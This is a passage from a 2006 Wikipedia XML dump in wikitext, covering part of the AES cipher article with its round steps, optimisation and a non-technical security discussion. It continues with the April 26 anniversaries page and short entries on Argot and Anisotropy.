Strictly speaking, AES is not precisely Rijndael (although in practice they are used interchangeably) as Rijndael supports a larger range of [[block size (cryptography)|block]] and [[key size]]s; AES has a fixed block size of 128 [[bit]]s and a key size of 128, 192 or 256 bits, whereas Rijndael can be specified with key and block sizes in any multiple of 32 bits, with a minimum of 128 bits and a maximum of 256 bits.

The key is expanded using [[Rijndael key schedule|Rijndael's key schedule]].

Most of AES calculations are done in a special [[Finite field arithmetic|finite field]].

AES operates on a 4&amp;times;4 array of [[byte]]s, termed the ''state'' (versions of Rijndael with a larger block size have additional columns in the state). For encryption, each round of AES (except the last round) consists of four stages:
# &lt;tt&gt;AddRoundKey&lt;/tt&gt; &amp;mdash; each byte of the state is combined with the round key; each round key is derived from the cipher key using a [[key schedule]].
# &lt;tt&gt;SubBytes&lt;/tt&gt; &amp;mdash; a non-linear substitution step where each byte is replaced with another according to a [[Rijndael S-box|lookup table]].
# &lt;tt&gt;ShiftRows&lt;/tt&gt; &amp;mdash; a transposition step where each row of the state is shifted cyclically a certain number of steps.
# &lt;tt&gt;MixColumns&lt;/tt&gt; &amp;mdash; a mixing operation which operates on the columns of the state, combining the four bytes in each column using a linear transformation.
The final round replaces the &lt;tt&gt;MixColumns&lt;/tt&gt; stage with another instance of &lt;tt&gt;AddRoundKey&lt;/tt&gt;.

===The &lt;tt&gt;AddRoundKey&lt;/tt&gt; step===
In the &lt;tt&gt;AddRoundKey&lt;/tt&gt; step, the subkey is combined with the state. For each round, a subkey is derived from the main [[key (cryptography)|key]] using the [[Rijndael key schedule|key schedule]]; each subkey is the same size as the state. The subkey is added by combining each byte of the state with the corresponding byte of the subkey using bitwise [[XOR]].

===The &lt;tt&gt;SubBytes&lt;/tt&gt; step===
In the &lt;tt&gt;SubBytes&lt;/tt&gt; step, each byte in the array is updated using an 8-bit [[Rijndael S-box|S-box]]. This operation provides the non-linearity in the [[cipher]]. The S-box used is derived from the [[inverse function]] over '''[[Finite field|GF]]'''(''2&lt;sup&gt;8&lt;/sup&gt;''), known to have good non-linearity properties. To avoid attacks based on simple algebraic properties, the S-box is constructed by combining the inverse function with an invertible [[affine transformation]]. The S-box is also chosen to avoid any fixed points (and so is a [[derangement]]), and also any opposite fixed points.

The S-box is more fully described in the article [[Rijndael S-box]].

===The &lt;tt&gt;ShiftRows&lt;/tt&gt; step===
The &lt;tt&gt;ShiftRows&lt;/tt&gt; step operates on the rows of the state; it cyclically shifts the bytes in each row by a certain offset. For AES, the first row is left unchanged. Each byte of the second row is shifted one to the left. Similarly, the third and fourth rows are shifted by offsets of two and three respectively. In this way, each column of the output state of the &lt;tt&gt;ShiftRows&lt;/tt&gt; step is composed of bytes from each column of the input state. (Rijndael variants with a larger block size have slightly different offsets).

===The &lt;tt&gt;MixColumns&lt;/tt&gt; step===
In the &lt;tt&gt;MixColumns&lt;/tt&gt; step, the four bytes of each column of the state are combined using an invertible linear transformation.  The &lt;tt&gt;MixColumns&lt;/tt&gt; function takes four bytes as input and outputs four bytes, where each input byte affects all four output bytes.  Together with &lt;tt&gt;ShiftRows&lt;/tt&gt;, &lt;tt&gt;MixColumns&lt;/tt&gt; provides [[diffusion (cryptography)|diffusion]] in the cipher. Each column is treated as a polynomial over '''GF'''(''2&lt;sup&gt;8&lt;/sup&gt;'') and is then multiplied modulo &lt;math&gt;x^4+1&lt;/math&gt; with a fixed polynomial &lt;math&gt;c(x) = 3x^3 + x^2 + x + 2&lt;/math&gt;.  The &lt;tt&gt;MixColumns&lt;/tt&gt; step can also be viewed as a matrix multiply in [[Finite field arithmetic|Rijndael's finite field]].  

This process is described further in the article [[Rijndael mix columns]].

===Optimization of the cipher===
On systems with 32-bit or larger words, it is possible to speed up execution of this cipher by converting the &lt;tt&gt;SubBytes&lt;/tt&gt;, &lt;tt&gt;ShiftRows&lt;/tt&gt; and &lt;tt&gt;MixColumns&lt;/tt&gt; transformations into tables.  One then has four 256-entry 32-bit tables, which utilizes a total of four kilobytes (4096 bytes) of memory--a kilobyte for each table.  A round can now be done with 16 table lookups and 12 32-bit exclusive-or operations, followed by four 32-bit exclusive-or operations in the &lt;tt&gt;AddRoundKey&lt;/tt&gt; step.

If the resulting four kilobyte table size is too large for a given target platform, the table lookup operation can be performed with a single 256-entry 32-bit table by the use of circular rotates.

==Security==
[[As of 2006]], the only successful attacks against AES have been [[side channel attack]]s.  The [[National Security Agency]] (NSA) reviewed all the AES finalists, including Rijndael, and stated that all of them were secure enough for [[US Government]] non-classified data. In June 2003, the US Government announced that AES may be used for [[classified information]]:
:&quot;''The design and strength of all key lengths of the AES algorithm (i.e., 128, 192 and  256) are sufficient to protect classified information up to the SECRET level.  TOP  SECRET information will require use of either the 192 or 256 key lengths.  The  implementation of AES in products intended to protect national security systems and/or  information must be reviewed and certified by NSA prior to their acquisition and use.''&quot; &amp;mdash; [http://www.cnss.gov/Assets/pdf/cnssp_15_fs.pdf]
This marks the first time that the public has had access to a cipher approved by NSA for TOP SECRET information.  It is interesting to note that many public products use 128-bit secret keys by default; it is possible that NSA suspects a fundamental weakness in keys this short, or they may simply prefer a safety margin for top secret documents (which may require security decades into the future).  

The most common way to attack block ciphers is to try various attacks on versions of the cipher with a reduced number of rounds. AES has 10 rounds for 128-bit keys, 12 rounds for 192-bit keys, and 14 rounds for 256-bit keys. [[As of 2006]], the best known attacks are on 7 rounds for 128-bit keys, 8 rounds for 192-bit keys, and 9 rounds for 256-bit keys (Ferguson et al, 2000 {{ref|improved}}).

Some cryptographers worry about the security of AES. They feel that the margin between the number of rounds specified in the cipher and the best known attacks is too small for comfort. The risk is that some way to improve these attacks might be found and that, if so, the cipher could be broken. In this meaning, a [[cryptanalysis|cryptographic]] &quot;break&quot; is anything faster than an [[brute force attack|exhaustive search]], so an attack against 128-bit key AES requiring 'only' 2&lt;sup&gt;120&lt;/sup&gt; operations would be considered a break even though it would be, now, quite infeasible. In practical application, any break of AES which is only this 'good' would be irrelevant. For the moment, such concerns can be ignored.  The largest publicly-known brute-force attack has been against a 64 bit [[RC5]] key by [[distributed.net]] (finishing in 2002; [[Moore's Law]] implies that this is roughly equivalent to an attack on a 66-bit key today).  

Another concern is the [[mathematics|mathematical]] structure of AES. Unlike most other block ciphers, AES has a very neat mathematical description [http://www.macfergus.com/pub/rdalgeq.html], [http://www.isg.rhul.ac.uk/~sean/]. This has not yet led to any attacks, but some researchers are worried that future attacks may find a way to exploit this structure.

In [[2002]], a theoretical attack, termed the &quot;[[XSL attack]]&quot;, was announced by [[Nicolas Courtois]] and [[Josef Pieprzyk]], showing a potential weakness in the AES algorithm.  Several cryptography experts have found problems in the underlying mathematics of the proposed attack, suggesting that the authors may have made a mistake in their estimates.  Whether this line of attack can be made to work against AES remains an open question. For the moment, the XSL attack against AES appears speculative; it is unlikely that anyone could carry out the current attack in practice.

===Side channel attacks===
Side channel attacks do not attack the underlying cipher, but attack implementations of the cipher on systems which inadvertently leak data.

In April 2005, [[Daniel J. Bernstein|D.J. Bernstein]] announced a [http://cr.yp.to/papers.html#cachetiming cache timing attack] that he used to break a custom server that used [[OpenSSL]]'s AES encryption.  The custom server was designed to give out as much timing information as possible, and the attack required over 200 million chosen plaintexts.  Some say the attack is not practical against real-world implementations [http://groups.google.com/groups?selm=42620794%40news.cadence.com]; [[Bruce Schneier]] called the research a &quot;nice timing attack.&quot; [http://www.schneier.com/blog/archives/2005/05/aes_timing_atta_1.html]

In October 2005, Adi Shamir and two other researchers presented a paper demonstrating several [http://www.wisdom.weizmann.ac.il/~tromer/papers/cache.pdf cache timing attacks]([[PDF]] file) against AES.  One attack was able to obtain an entire AES key after only 800 writes, in 65 milliseconds.  These attacks require the attacker to be able to run programs on the same system that is performing AES encryptions.

==See also==
* [[Advanced Encryption Standard process]]
* [[List of applications that use AES]]

==External links==
* [http://www.esat.kuleuven.ac.be/~rijmen/rijndael/ The Rijndael Page (Forwards automaticaly to the AES Lounge use old version link to browse)]
* [http://www.iaik.tu-graz.ac.at/research/krypto/AES/old/%7Erijmen/rijndael/ The Rijndael Page (old version)]
* [http://www.iaik.tu-graz.ac.at/research/krypto/AES/ Literature survey on AES]
&lt;!-- Broken link
* [http://rijndael.info/audio/rijndael_pronunciation.wav Recordings of the pronunciation of &quot;Rijndael&quot;] (85 KB [[wav]] file)--&gt;
* [http://csrc.nist.gov/encryption/aes/ The archive of the old official AES website]
* [http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdf FIPS PUB 197: the official AES standard] ([[Portable_Document_Format|PDF]] file)
&lt;!-- The following is a dead link 2005/05/15
* [http://www.nstissc.gov/Assets/pdf/fact%20sheet.pdf The C.N.S.S. announcement regarding the use of AES for classified data] ([[Portable_Document_Format|PDF]] file)--&gt;
* [http://www.quadibloc.com/crypto/co040401.htm John Savard's description of the AES algorithm]

===Implementations===
* [http://www.cs.eku.edu/faculty/styer/460/Encrypt/JS-AES.html A Javascript AES calculator showing intermediate values]
* [http://fp.gladman.plus.com/cryptography_technology/rijndael/ Brian Gladman's BSD licensed implementations of AES]
* [http://www.esat.kuleuven.ac.be/~rijmen/rijndael/rijndael-fst-3.0.zip Paulo Barreto's public domain C implementation of AES]
* [http://cr.yp.to/mac.html D.J. Bernstein's public-domain implementation of AES]
* [http://www.lysator.liu.se/~nisse/nettle/ The GPL-licensed Nettle library also includes an AES implementation]

==Notes==
* &lt;div id=blocksize&gt;Block sizes of 128, 160, 192, 224, and 256 bits are supported by The Rijndael algorithm, but only the 128-bit block size is specified in the AES standard.&lt;/div&gt;
* &lt;div id=keysize&gt; Key sizes of 128, 160, 192, 224, and 256 bits are supported by The Rijndael algorithm, but only the 128, 192, and 256 bit key sizes are specified in the AES standard.&lt;/div&gt;

==References==
* Nicolas Courtois, Josef Pieprzyk, &quot;Cryptanalysis of Block Ciphers with Overdefined Systems of Equations&quot;. pp267&amp;ndash;287, ASIACRYPT 2002.
* Joan Daemen and Vincent Rijmen, &quot;The Design of Rijndael: AES - The Advanced Encryption Standard.&quot; Springer-Verlag, 2002. ISBN 3540425802.
* {{note|improved}} [[Niels Ferguson]], [[John Kelsey]], [[Stefan Lucks]], [[Bruce Schneier]], [[Mike Stay]], [[David Wagner]], and [[Doug Whiting]], ''Improved Cryptanalysis of Rijndael'', [[Fast Software Encryption]], 2000 pp213&amp;ndash;230 [http://www.schneier.com/paper-rijndael.html]

[[Category:Block ciphers]]
[[Category:Type 1 encryption algorithms]]
[[Category:Free ciphers]]

{{Block_ciphers}}

[[da:Advanced Encryption Standard]]
[[de:Advanced Encryption Standard]]
[[es:AES]]
[[fr:Standard de chiffrement avancé]]
[[it:Advanced Encryption Standard]]
[[nl:Advanced Encryption Standard]]
[[ja:AES暗号]]
[[no:Advanced Encryption Standard]]
[[pl:AES]]
[[pt:Padrão de Encriptação Avançada]]
[[sv:Advanced Encryption Standard]]
[[tr:AES]]</text>
    </revision>
  </page>
  <page>
    <title>April 26</title>
    <id>1261</id>
    <revision>
      <id>41491787</id>
      <timestamp>2006-02-27T18:55:29Z</timestamp>
      <contributor>
        <username>PFHLai</username>
        <id>63672</id>
      </contributor>
      <comment>/* Events */ + * [[1805]] - '''[[United States Marines]]''' captured '''[[Derne, Tripoli]]''' under the command of '''[[First Lieutenant Presley N. O'Bannon]]'''. Moved from the SelAnniv template</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=26}}
|}
'''[[April 26]]''' is the 116th day of the year in the [[Gregorian Calendar]] (117th in [[leap year]]s). There are 249 days remaining.
==Events==
*[[1478]] - The [[Pazzi]] attack [[Lorenzo de' Medici]] and kill his brother [[Giuliano di Piero de' Medici|Giuliano]] during High Mass in the [[Florence]] Cathedral.  
*[[1607]] - [[England|English]] colonists of the [[Jamestown settlement]] make landfall at [[Cape Henry]], [[Virginia]].  
*[[1802]] - A general amnesty signed by [[Napoleon Bonaparte]] allowed all but about one thousand of the most notorious [[émigré]]s of the [[French Revolution]] to return to [[France]], as part of a reconciliary gesture to make peace with the various factions of the [[Ancien Regime]] that would ultimately consolidate his own rule.
* [[1805]] - [[United States Marines]] captured [[Derne, Tripoli]] under the command of First Lieutenant [[Presley N. O'Bannon]].
*[[1865]] - [[American Civil War]]: [[Confederate States of America|Confederate]] General [[Joseph Johnston]] surrenders his army to General [[William Tecumseh Sherman]] at the [[Bennett Place]] near [[Durham, North Carolina]]. 
*[[1865]] -  Union cavalry troopers corner [[John Wilkes Booth]], [[Abraham Lincoln|President Lincoln]]'s assassin, in a [[Barn (building)|barn]] in [[Virginia]]. Booth is shot dead by cavalryman [[Boston Corbett]].
*[[1925]] - [[Paul von Hindenburg]] defeats [[Wilhelm Marx]] in the second round of the [[German presidential election, 1925|German presidential election]] to become the first directly elected [[Reichspräsident]], the [[head of state]] of the [[Weimar Republic]]. 
*[[1933]] - The [[Gestapo]], the official [[secret police|secret police force]] of [[Nazi Germany]], is established.
*[[1937]] - [[Spanish Civil War]]: [[Guernica]], [[Spain]] is bombed by [[Germany|German]] [[Luftwaffe]]. 
*[[1942]] - The worst-ever mining accident in history kills 1,549 [[miner]]s in an [[explosion]] at the [[Honkeiko Colliery]], [[Manchuria]].
*[[1946]] - [[Father Divine]], a controversial religious leader who claims to be [[God]], marries the much-younger [[Edna Rose Ritchings]], a celebrated anniversary in the [[International Peace Mission movement]].
*[[1954]] - The [[Geneva Conference (1954)|Geneva Conference]], an effort to restore peace in [[Indochina]] and [[Korea]], begins.  
*[[1962]] - [[NASA]]'s [[Ranger 4]] spacecraft crashes into the [[Moon]].  
*[[1964]] - [[Tanganyika]] and [[Zanzibar]] merge to form [[Tanzania]]. 
*[[1986]] - In [[Ukraine]], a nuclear reactor at the [[Chernobyl]] [[nuclear plant]] [[Chernobyl accident|explodes]], creating the world's worst [[nuclear disaster]]. 
*[[1991]] - Seventy tornadoes break out in the central [[United States]]. Before its end, [[Andover, Kansas]], would record the year's only [[Fujita scale|F5]] tornado (see [[Andover, Kansas Tornado Outbreak]]).
*[[1994]] - [[South Africa]] holds its first multiracial elections.
*[[1994]]   - A [[China Airlines]] [[Airbus A-300]]-600R crashes at [[Nagoya Airport]], [[Japan]] killing 264.
*[[2002]] - 19-year-old Robert Steinhäuser [[Erfurt_massacre|shoots and kills 17 people]] at his school in Erfurt, [[Germany]].
*[[2005]] - Under international pressure, [[Syria]] withdraws the last of its 14,000 troop military garrison in [[Lebanon]], ending its 29-year military domination of that country.
*[[2005]] - [[Setanta Sports]] launches a US television channel on [[DirecTV]].

==Births==
*[[121]] - [[Marcus Aurelius]], [[Roman Emperor]] (d. [[180]])
*[[1538]] - [[Gian Paolo Lomazzo]], Italian painter (d. [[1600]])
*[[1573]] - [[Marie de' Medici]], queen of [[Henry IV of France]] (d. [[1642]])
*[[1564]] (baptized) - [[William Shakespeare]], English writer (d. [[1616]])
*[[1648]] - King [[Peter II of Portugal]] (d. [[1706]])
*[[1710]] - [[Thomas Reid]], Scottish philosopher (d. [[1796]])
*[[1711]] - [[David Hume]], Scottish philosopher and historian (d. [[1776]])
*[[1718]] - [[Esek Hopkins]], American Revolutionary War admiral (d. [[1802]])
*[[1765]] - [[Emma, Lady Hamilton]], English mistress of [[Horatio Nelson]] (d. [[1815]])
*[[1774]] - [[Christian Leopold von Buch]], German geologist (d. [[1853]])
*[[1785]] - [[John James Audubon]], French-American naturalist and illustrator (d. [[1851]])
*[[1787]] - [[Ludwig Uhland]], German poet (d. [[1862]])
*[[1798]]   - [[James Beckwourth]], American explorer (d. [[1867]])
*1798 - [[Eugène Delacroix]], French painter (d. [[1863]])
*[[1812]] - [[Alfred Krupp]], German industrialist (d. [[1887]])
*[[1822]] - [[Frederick Law Olmsted]], American landscape architect (d. [[1903]])
*[[1826]] - [[George Hull Ward]], American general (d. [[1863]])
*[[1826]] - [[Ambrose R. Wright]], American Civil War General (d. [[1872]]
*[[1879]] - [[Owen Willans Richardson]], British physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1959]])
*[[1886]] - [[Ma Rainey]], American singer (d. [[1939]])
*[[1888]] - [[Anita Loos]], American writer (d. [[1981]])
*[[1889]] - [[Ludwig Wittgenstein]], Austrian-born philosopher (d. [[1951]])
*[[1894]] - [[Rudolf Hess]], Nazi official (d. [[1987]])
*[[1896]] - [[Ernst Udet]], German World War II pilot (d. [[1941]])
*[[1897]] - [[Eddie Eagan]], American sportsman (d. [[1967]])
*1897 - [[Douglas Sirk]], German-born film director (d. [[1987]])
*[[1898]] - [[Vicente Aleixandre]], Spanish writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1984]])
*1898 - [[John Grierson]], Scottish filmmaker (d. [[1972]])
*[[1900]] - [[Charles Richter]], American geophysicist and inventor (d. [[1985]])
*[[1911]] - [[Marianne Hoppe]], German actress (d. [[2002]])
*[[1912]] - [[A. E. van Vogt]], Canadian writer (d. [[2000]])
*[[1914]] - [[Bernard Malamud]], American author (d. [[1986]])
*1914 - [[James W. Rouse]], American real estate investor, activist, and philanthropist (d. [[1996]])
*[[1916]] - [[Morris West]], Australian writer (d. [[1999]])
*[[1917]] - [[I.M. Pei]], Chinese-born architect 
*[[1918]] - [[Fanny Blankers-Koen]], Dutch athlete (d. [[2004]])
*1918 - [[Stafford Repp]] American actor (d. [[1974]])
*[[1925]] - [[Jørgen Ingmann]], Danish musician (d. [[1990]])
*[[1926]] - [[Michael Mathias Prechtl]], German illustrator (d. [[2003]])
*[[1932]] - [[Michael Smith (chemist)|Michael Smith]], English-born chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[2000]])
*[[1933]] - [[Carol Burnett]], American singer, actress, and comedian
*1933 - [[Arno Allan Penzias]], German-born physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*[[1934]] - [[Alan Arkin]], American actor
*[[1936]] - [[Lane Smith]], American actor
*[[1938]] - [[Duane Eddy]], American musician
*[[1940]] - [[Giorgio Moroder]], German composer
*[[1942]] - [[Claudine Auger]], French actress
*1942 - [[Michael Kergin]], Canadian diplomat
*1942 - [[Bobby Rydell]], American singer
*[[1943]] - [[Gary Wright]], American singer
*1943 - [[Peter Zumthor]], Swiss architect
*[[1946]] - [[Vladimir Zhirinovsky]], Russian politician
*[[1949]] - [[Carlos Bianchi]], Argetinian football coach and player
*[[1956]] - [[Koo Stark]], American actress
*[[1958]] - [[Jeffrey Guterman]], American mental health counselor
*[[1960]] - [[Roger Andrew Taylor|Roger Taylor]], English musician ([[Duran Duran]])
*[[1961]] - [[Joan Chen]], Chinese-born actress
*[[1963]] - [[Jet Li]], Chinese martial artist and actor
*[[1965]] - [[Kevin James]], American comedian and actor
*[[1967]] - [[Glen Jacobs]], American professional wrestler
*[[1970]] - [[Tionne Watkins]], American singer ([[TLC]])
*[[1973]] - [[Chris Perry (footballer)|Chris Perry]], English footballer
*[[1975]] - [[Joey Jordison]], American musician ([[Slipknot (band)|Slipknot]])
*[[1976]] - [[Jose Pasillas]], American musician ([[Incubus (band)|Incubus]])
*[[1977]] - [[Tom Welling]], American actor
*[[1980]] - [[Jordana Brewster]], American actress
*[[1982]] - [[Joanne Gobure]], Nauruan poet
*[[1983]] - [[Jessica Lynch]], American P.O.W. captured and rescued in Iraq in 2003
*[[1984]] - [[Mija Martina]], Bosnian singer

==Deaths==
*[[1192]] - [[Emperor Go-Shirakawa]] of Japan (b. [[1127]])
*[[1444]] - [[Robert Campin]], Flemish painter (b. [[1378]])
*[[1478]] - [[Giuliano di Piero de' Medici]], ruler of Florence (assassinated) (b. [[1453]])
*[[1489]] - [[Ashikaga Yoshihisa]], Japanese shogun (b. [[1465]])
*[[1716]] - [[John Somers, 1st Baron Somers]], Lord Chancellor of England (b. [[1651]])
*[[1784]] - [[Nano Nagle]], Irish convent founder (b. [[1718]])
*[[1789]] - Count [[Petr Ivanovich Panin]], Russian soldier (b. [[1721]])
*[[1865]] - [[John Wilkes Booth]], American actor and assassin (shot) (b. [[1838]])
*[[1892]] - Sir [[Provo Wallis]], British Admiral and naval hero (b. [[1791]])
*[[1910]] - [[Bjørnstjerne Bjørnson]], Norwegian author, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1832]])
*[[1920]] - [[Srinivasa Ramanujan]], Indian mathematician (b. [[1887]])
*[[1932]] - [[Hart Crane]], American poet (suicide) (b. [[1899]])
*1932 - [[William Lockwood]], English cricketer (b. [[1868]])
*[[1938]] - [[Edmund Husserl]], Austrian philosopher (b. [[1859]])
*[[1940]] - [[Carl Bosch]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b.g [[1874]])
*[[1951]] - [[Arnold Sommerfeld]], German physicist (b. [[1868]])
*[[1956]] - [[Edward Arnold (actor)|Edward Arnold]], American actor (b. [[1890]])
*[[1964]] - [[E. J. Pratt]], Canadian poet born Newfoundland (b. [[1882]])
*[[1969]] - [[Morihei Ueshiba]], Japanese martial artist (b. [[1883]])
*[[1970]] - [[Gypsy Rose Lee]], American actress (b. [[1911]])
*[[1973]] - [[Irene Ryan]], American actress (b. [[1902]])
*[[1976]] - [[Sid James]], British comedian (b. [[1913]])
*[[1981]] - [[Jim Davis (actor)|Jim Davis]], American actor (b. [[1909]])
*[[1984]] - [[Count Basie]], American musician and composer (b. [[1904]])
*[[1986]] - [[Broderick Crawford]], American actor (stroke) (b. [[1911]])
*1986 - [[Dechko Uzunov]], Bulgarian painter (b. [[1899]])
*[[1988]] - [[James McCracken]], American tenor (b. [[1926]])
*[[1989]] - [[Lucille Ball]], American actress and comedian (b. [[1911]])
*[[1991]] - [[Carmine Coppola]], American composer and conductor (b. [[1910]])
*1991 - [[Emily McLaughlin]], American actress (b. [[1930]])
*[[1996]] - [[Stirling Silliphant]], American writer and producer (b. [[1918]])
*[[1999]] - [[Jill Dando]], British television presenter (b. [[1961]])
*[[2002]] - [[Lisa Lopes]], American singer (b. [[1971]])
*[[2003]] - [[Rosemary Brown (politician)|Rosemary Brown]], Canadian politician (b. [[1930]])
*2003 - [[Edward Max Nicholson|Max Nicholson]], Irish environmentalist (b. [[1904]])
*2003 - [[Peter Stone]], American writer (b. [[1930]]) 
*[[2004]] - [[Hubert Selby Jr.]], American author (b. [[1928]])
*[[2005]] - [[Mason Adams]], American actor (b. [[1919]])
*2005 - [[Blade Icewood]], American rapper (b. [[1977]])
*2005 - [[Maria Schell]], Austrian-born actress (b. [[1926]])

==Holidays and observances==
* [[Feast day]] of the following [[saint]]s in the [[Roman Catholic Church]]:
**[[Saint Alda]] (d. 1309)
**[[Richarius]] or Riquier (d. 643)
**[[Radbertus|Paschasius]] (d. 865)
**Saint Cletus ([[Pope Anacletus]]) and [[Marcellinus]] ([[Pope]]s and [[martyr]]s)
**[[Lucidius]] (4th century)
**[[Trudpert]] ([[Ireland|Irish]] [[monk]] martyred in [[Germany]] in [[607]]).
* [[Tanzania]] - [[Union Day]]
* [[Shi'a Islam]] - [[Mawlid]], [[Muhammad]]'s [[birthday]] ([[2005]])
* [[Florida]] and [[Georgia (U.S. state)|Georgia, USA]] - [[Confederate Memorial Day]]
* [[Intellectual property]] - [[World Intellectual Property Day]] (since [[2001]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/26 BBC: On This Day]


==Other Facts==

This date is reffered to in the [[Alec Empire]] song &quot;[[2641998]]&quot; (26/4/1998)
----

[[April 25]] - [[April 27]] - [[March 26]] - [[May 26]] &amp;ndash;  [[historical anniversaries|listing of all days]]

{{months}}

[[ceb:Abril 26]]
[[nap:26 'e abbrile]]
[[war:Abril 26]]
[[pam:Abril 26]]

[[af:26 April]]
[[ar:26 أبريل]]
[[an:26 d'abril]]
[[ast:26 d'abril]]
[[bg:26 април]]
[[be:26 красавіка]]
[[bs:26. april]]
[[ca:26 d'abril]]
[[cv:Ака, 26]]
[[co:26 d'aprile]]
[[cs:26. duben]]
[[cy:26 Ebrill]]
[[da:26. april]]
[[de:26. April]]
[[et:26. aprill]]
[[el:26 Απριλίου]]
[[es:26 de abril]]
[[eo:26-a de aprilo]]
[[eu:Apirilaren 26]]
[[fo:26. apríl]]
[[fr:26 avril]]
[[fy:26 april]]
[[ga:26 Aibreán]]
[[gl:26 de abril]]
[[ko:4월 26일]]
[[hr:26. travnja]]
[[io:26 di aprilo]]
[[id:26 April]]
[[ia:26 de april]]
[[ie:26 april]]
[[is:26. apríl]]
[[it:26 aprile]]
[[he:26 באפריל]]
[[jv:26 April]]
[[ka:26 აპრილი]]
[[csb:26 łżëkwiôta]]
[[ku:26'ê avrêlê]]
[[lt:Balandžio 26]]
[[lb:26. Abrëll]]
[[li:26 april]]
[[hu:Április 26]]
[[mk:26 април]]
[[ms:26 April]]
[[nl:26 april]]
[[ja:4月26日]]
[[no:26. april]]
[[nn:26. april]]
[[oc:26 d'abril]]
[[pl:26 kwietnia]]
[[pt:26 de Abril]]
[[ro:26 aprilie]]
[[ru:26 апреля]]
[[sco:26 Aprile]]
[[sq:26 Prill]]
[[scn:26 di aprili]]
[[simple:April 26]]
[[sk:26. apríl]]
[[sl:26. april]]
[[sr:26. април]]
[[fi:26. huhtikuuta]]
[[sv:26 april]]
[[tl:Abril 26]]
[[tt:26. Äpril]]
[[te:ఏప్రిల్ 26]]
[[th:26 เมษายน]]
[[vi:26 tháng 4]]
[[tr:26 Nisan]]
[[uk:26 квітня]]
[[ur:26 اپریل]]
[[wa:26 d' avri]]
[[zh:4月26日]]</text>
    </revision>
  </page>
  <page>
    <title>Argot</title>
    <id>1262</id>
    <revision>
      <id>42089985</id>
      <timestamp>2006-03-03T19:34:55Z</timestamp>
      <contributor>
        <username>Polylerus</username>
        <id>111744</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Argot''' is primarily slang used by various groups, including but not limited to thieves and other criminals, to prevent outsiders from understanding their conversations.  ''Argot'' is [[French language|French]] for [[slang]].  See also [[Cant (language)]] and [[cryptolect]].

==See also==
*[[Barallete]] 
*[[Bron (language)|Bron]]
*[[Broun (language)|Broun]]
*[[Caló]]
*[[Cant (language)|Cant]]
*[[Fala dos arxinas]] ([[Verbo dos arginas]])
*[[Gacería]]
*[[Gail language|Gail]]
*[[Klezmer-loshn]]
*[[Language game]]
*[[Langue verte]]
*[[Louchebem]]
*[[Pig Latin]]
*[[Polari]]
*[[Rotwelsch]]
*[[Šatrovački]]
*[[slang]]
*[[Variety (linguistics)]]
*[[Verlan]]
*[[Xíriga]]

[[Category:Cant languages]]
[[Category:Folklore]]

[[bg:Таен говор]]
[[da:Argot]]
[[de:Argot]]
[[es:Germanía]]
[[fr:Argot]]
[[ja:業界用語]]
[[ru:Арго]]
[[sk:Argot]]
[[sv:Argot]]</text>
    </revision>
  </page>
  <page>
    <title>Anisotropy</title>
    <id>1264</id>
    <revision>
      <id>41768292</id>
      <timestamp>2006-03-01T16:38:10Z</timestamp>
      <contributor>
        <ip>81.168.72.184</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{wiktionarypar|anisotropy}}
[[image:WMAP.jpg|thumb|300px|[[WMAP]] image of the anisotropic background cosmic radiation]]
'''Anisotropy''' (the opposite of [[isotropy]]) is the property of being directionally dependent. 

In the field of [[computer graphics]], an anisotropic surface will change in appearance as it is rotated about its geometric [[surface normal|normal]], as is the case with [[velvet]]. Anisotropic scaling occurs when something is scaled by different amounts in different directions.  An example is down-scaling a 64&amp;times;64-pixel [[texture]] to cover a 12&amp;times;34-pixel [[rectangle]]; this is [[anisotropic filtering]]. 

An anisotropic [[filter]], on the other hand, is a filter with increasingly smaller [[interstitial]] spaces in the direction of filtration so that the [[proximal]] [[region]]s filter 
out larger particles and [[distal]] regions increasingly remove smaller particles, resulting in greater flow-through and more efficient filtration.

[[Cosmologists]] use the term to describe the fluctuations in the [[background radiation]] left over after the [[big bang]]. The term refers to the difference in the temperature of the [[cosmic microwave background radiation]] with direction. 

An anisotropic liquid is one which has the fluidity of a normal liquid, but, unlike water or [[chloroform]], which contain no structural ordering of the molecules, they have an average structural order relative to each other along their molecular axis. [[Liquid crystals]] are examples of anisotropic liquids.

Some materials [[heat conduction|conduct heat]] in a way that is isotropic, that is independent of spatial orientation around the heat source.  It is more common for heat conduction to be anisotropic, which implies that detailed geometric modeling of typically diverse materials being thermally managed is required. The materials used to transfer and reject heat from the heat source in [[electronics]] are often anisotropic. 

[[Geological]] formations where distinct layers of sedimentary material are disposited can exhibit electrical anisotropy. That is electrical [[conductivity]] in one direction e.g. parallel to a layer, is different to that in another e.g. perpendicular to a layer. This property is used in the gas and [[oil exploration]] industry to identify hydrocarbon-bearing sands in sequences of [[sand]] and [[shale]]. Sand bearing [[hydrocarbon]] assets have high resistivity (relatively low conductivity) whereas shales are much more conductive. [[Formation evaluation]] instruments measure this conductivity and [[resistivity]] and the results are used to help best site oil and gas wells.

Many [[crystal]]s are anisotropic to [[light]], and exhibit properties such as [[birefringence]]. [[Crystal optics]] describes light propagation in these media.

== External links ==
*[http://baker-atlas.bakerhughesdirect.com/oil-and-gas-exploration/ Baker Atlas - Formation Evaluation]

*[http://baker-atlas.bakerhughesdirect.com/anisotropy-and-resistivity-measurements/ Baker Atlas - Anisotropy and Resistivity Measurements]

[[Category:Anisotropy| ]]

[[ca:Anisotropia]]
[[de:Anisotropie]]
[[fr:Anisotrope]]
[[it:Anisotropia]]
[[pl:Anizotropia]]
[[ru:Анизотропия]]
[[sk:Anizotropia]]
[[sv:Anisotrop]]</text>
    </revision>
  </page>
  <page>
    <title>Alpha rays</title>
    <id>1265</id>
    <revision>
      <id>15899757</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Trelvis</username>
        <id>15</id>
      </contributor>
      <comment>redirect to full article </comment>
